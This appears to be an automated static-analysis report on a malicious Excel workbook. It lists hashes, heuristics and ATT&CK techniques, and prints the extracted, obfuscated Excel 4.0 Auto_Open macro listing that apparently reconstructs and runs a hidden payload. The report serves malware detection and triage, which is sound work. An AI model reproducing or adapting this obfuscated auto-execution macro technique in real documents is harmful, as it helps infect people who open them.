Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0e5c3b4b959f9b6e…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:43:25 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: ed0145ef156873ac1d1596baa96870d0 SHA-1: 0f178b61868b5908f048db63e54a9d7df473913e SHA-256: 0e5c3b4b959f9b6e0fdd4167eeb686bfd3fe9b02bd6129392148eb53091138fa
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel document containing Excel 4.0 (XLM) macros, specifically triggering an Auto_Open macro. This indicates an attempt to execute arbitrary code upon opening the document. The presence of dangerous formula APIs in the Auto_Open entry strongly suggests the macro is designed to download and execute a secondary payload, a common technique for initial access.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6954 bytes
SHA-256: f6a8bb3f74450e2c29840353285765e08829bc8747a6fddc9cde9e22c3a072b7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  vueGQPQwxd
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C162 
' 0018     26 LABEL : Cell Value, String Constant - BCPAjJLSDQB len=0 
' 0018     23 LABEL : Cell Value, String Constant - BHGSmpOo len=0 
' 0018     20 LABEL : Cell Value, String Constant - bPNVk len=0 
' 0018     27 LABEL : Cell Value, String Constant - ekDKwAFgJtMz len=0 
' 0018     27 LABEL : Cell Value, String Constant - fBLHSvAtDEjD len=0 
' 0018     24 LABEL : Cell Value, String Constant - HfxMQJnae len=0 
' 0018     20 LABEL : Cell Value, String Constant - hpNeL len=0 
' 0018     22 LABEL : Cell Value, String Constant - mcfCNmW len=0 
' 0018     26 LABEL : Cell Value, String Constant - mrgJepUJPfE len=0 
' 0018     23 LABEL : Cell Value, String Constant - MxczizJT len=0 
' 0018     27 LABEL : Cell Value, String Constant - NHRXESjHAawO len=0 
' 0018     27 LABEL : Cell Value, String Constant - nxOmotQqebPt len=0 
' 0018     25 LABEL : Cell Value, String Constant - rhdbVoOLUH len=0 
' 0018     26 LABEL : Cell Value, String Constant - TdcdPfdEHle len=0 
' 0018     22 LABEL : Cell Value, String Constant - TouKzqI len=0 
' 0018     22 LABEL : Cell Value, String Constant - ULOGbwS len=0 
' 0018     27 LABEL : Cell Value, String Constant - usmkStpIwzye len=0 
' 0018     25 LABEL : Cell Value, String Constant - xNggjlRjJy len=0 
' 0018     26 LABEL : Cell Value, String Constant - yQHvakAagUH len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZKTocgKDWLvc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vueGQPQwxd,C75,"SET.NAME("usmkStpIwzye",0+VALUE("0"))",""
'  vueGQPQwxd,C77,"SET.NAME("rhdbVoOLUH",usmkStpIwzye)",""
'  vueGQPQwxd,C82,"SET.NAME("TdcdPfdEHle",usmkStpIwzye)",""
'  vueGQPQwxd,C85,"SET.NAME("mcfCNmW",COUNTA(TouKzqI))",""
'  vueGQPQwxd,C88,"SET.NAME("bPNVk",COUNTA(ZKTocgKDWLvc))",""
'  vueGQPQwxd,C90,[],""
'  vueGQPQwxd,P92,"",231.00000000000000000000
'  vueGQPQwxd,P93,"",975.00000000000000000000
'  vueGQPQwxd,C94,"SET.NAME("mrgJepUJPfE","")",""
'  vueGQPQwxd,P94,"",-926.00000000000000000000
'  vueGQPQwxd,P95,"",355.00000000000000000000
'  vueGQPQwxd,C96,"rhdbVoOLUH",""
'  vueGQPQwxd,P96,"",659.00000000000000000000
'  vueGQPQwxd,P97,"",-960.00000000000000000000
'  vueGQPQwxd,C98,"SET.NAME("HfxMQJnae",HLOOKUP("*",TouKzqI,rhdbVoOLUH,FALSE))",""
'  vueGQPQwxd,C101,"MxczizJT",""
'  vueGQPQwxd,C105,"SET.NAME("ULOGbwS",usmkStpIwzye)",""
'  vueGQPQwxd,C110,[],""
'  vueGQPQwxd,C114,"ULOGbwS",""
'  vueGQPQwxd,C117,"ekDKwAFgJtMz",""
'  vueGQPQwxd,C119,"fBLHSvAtDEjD",""
'  vueGQPQwxd,C121,"nxOmotQqebPt",""
'  vueGQPQwxd,C125,"SET.NAME("BHGSmpOo",VALUE(HLOOKUP("*",ZKTocgKDWLvc,nxOmotQqebPt,FALSE)))",""
'  vueGQPQwxd,C129,"yQHvakAagUH",""
'  vueGQPQwxd,C134,"mrgJepUJPfE",""
'  vueGQPQwxd,C138,"TdcdPfdEHle",""
'  vueGQPQwxd,C141,NEXT(),""
'  vueGQPQwxd,C145,"NHRXESjHAawO",""
'  vueGQPQwxd,C148,[],""
'  vueGQPQwxd,C150,"xNggjlRjJy",""
'  vueGQPQwxd,C154,NEXT(),""
'  vueGQPQwxd,C158,RETURN(),""
'  vueGQPQwxd,C184,"SET.NAME("hpNeL",C75)",""
'  vueGQPQwxd,C189,"TouKzqI",""
'  vueGQPQwxd,C192,"SET.NAME("ZKTocgKDWLvc",R44C15)",""
'  vueGQPQwxd,C197,"SET.NAME("xNggjlRjJy",202)",""
'  vueGQPQwxd,C199,"SET.NAME("BCPAjJLSDQB",3)",""
'  vueGQPQwxd,C201,hpNeL(),""
'  vueGQPQwxd,C202,HALT(),""